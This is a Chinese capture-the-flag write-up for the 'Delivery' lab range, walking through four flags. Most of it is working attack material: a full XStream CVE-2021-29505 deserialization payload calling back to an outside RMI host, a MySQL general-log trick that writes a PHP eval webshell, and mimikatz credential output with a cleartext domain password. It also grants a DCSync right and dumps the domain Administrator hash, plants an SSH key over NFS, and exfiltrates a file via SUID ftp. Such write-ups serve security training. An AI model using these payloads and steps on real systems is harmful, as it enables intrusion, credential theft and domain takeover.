春秋云境 Delivery

Delivery

flag01

39.99.229.95:21 open
39.99.229.95:8080 open
39.99.229.95:22 open
39.99.229.95:80 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://39.99.229.95       code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] WebTitle http://39.99.229.95:8080  code:200 len:3655   title:公司发货单
[+] ftp 39.99.229.95:21:anonymous
   [->]1.txt
   [->]pom.xml

有个ftp，pom.xml里面给了cc、stream，然后看了眼交表的数据包，存在Nday，https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md，最终payload如下，其他的按照文档里面的写就行

POST /just_sumbit_it HTTP/1.1
Host: 39.99.134.215:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 3115

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>47.121.123.96</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>47.121.123.96</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

flag02

搭建代理、扫描内网

172.22.13.6:88 open
172.22.13.14:8080 open
172.22.13.28:8000 open
172.22.13.28:3306 open
172.22.13.28:445 open
172.22.13.6:445 open
172.22.13.28:139 open
172.22.13.6:139 open
172.22.13.28:135 open
172.22.13.6:135 open
172.22.13.57:80 open
172.22.13.28:80 open
172.22.13.57:22 open
172.22.13.14:22 open
172.22.13.14:21 open
172.22.13.14:80 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo:
[*]172.22.13.28
   [->]WIN-HAUWOLAO
   [->]172.22.13.28
[*] NetBios: 172.22.13.6     [+]DC XIAORANG\WIN-DC          
[*] NetInfo:
[*]172.22.13.6
   [->]WIN-DC
   [->]172.22.13.6
[*] WebTitle: http://172.22.13.28       code:200 len:2525   title:欢迎登录OA办公平台
[*] WebTitle: http://172.22.13.57       code:200 len:4833   title:Welcome to CentOS
[*] WebTitle: http://172.22.13.14       code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios: 172.22.13.28    WIN-HAUWOLAO.xiaorang.lab           Windows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.13.28:8000  code:200 len:170    title:Nothing Here.
[+] ftp://172.22.13.14:21:anonymous 
   [->]1.txt
   [->]pom.xml
[*] WebTitle: http://172.22.13.14:8080  code:200 len:3655   title:公司发货单
[+] mysql:172.22.13.28:3306:root 123456

存在一个mysql弱口令，先打了，直接一套丝滑小连招写马，有secure防护利用日志记录保存后门。

show variables like "secure_file_priv";

查询日志保存状态（on是开启，off是关闭）和日志保存路径

show variables like '%general%';

查看是否开启了secure保护

show variables like '%secure%';

修改general_log的值，开启日志保存

set global general_log='On';

修改日志保存路径(general_log_file值)

set global general_log_file='网站绝对路径/马子';

查询是否成功更改

show variables like '%general%';

执行下面的sql语句会被写入到日志文件中

select '<?=eval($_POST[0]);?>';

蚁剑连接拿到flag

flag03

做下信息收集，可以看到chenglei这个用户有写入权限的喔

mimikatz抓下看看有没有哈希，确实是有的

* Username : chenglei
* Domain   : XIAORANG.LAB
* Password : Xt61f3LBhg1

rdp上去写个dcsync，然后dcsync

Import-Module .\powerview.ps1

Add-DomainObjectAcl -TargetIdentity 'DC=xiaorang,DC=lab' -PrincipalIdentity chenglei -Rights DCSync -Verbose

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

结果如下

500     Administrator   6341235defdaed66fb7b682665752c9a        512

横向域控拿到flag

flag04

先安装一下nfs服务

apt-get install nfs-common -y

挂在一下nfs

cd /
mkdir Chu0
mount -t nfs 172.22.13.57:/ ./Chu0 -o nolock

写公钥ssh连上去

ssh-keygen -t rsa -b 4096
cd /temp/home/joyce/
mkdir .ssh
cd .ssh
echo "ssh私钥" >  authorized_keys
proxychains4 ssh  -i /root/.ssh/id_rsa joyce@172.22.13.57

发现没有权限读取

find / -perm -u=s -type f 2>/dev/null

/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/ftp

有ftp可以利用，我们在入口机器开一个ftp服务，然后把flag传上去就好了

python3 -m pyftpdlib -p 250 -u admin -P admin -w &

ftp 172.22.13.14 250
put flag02.txt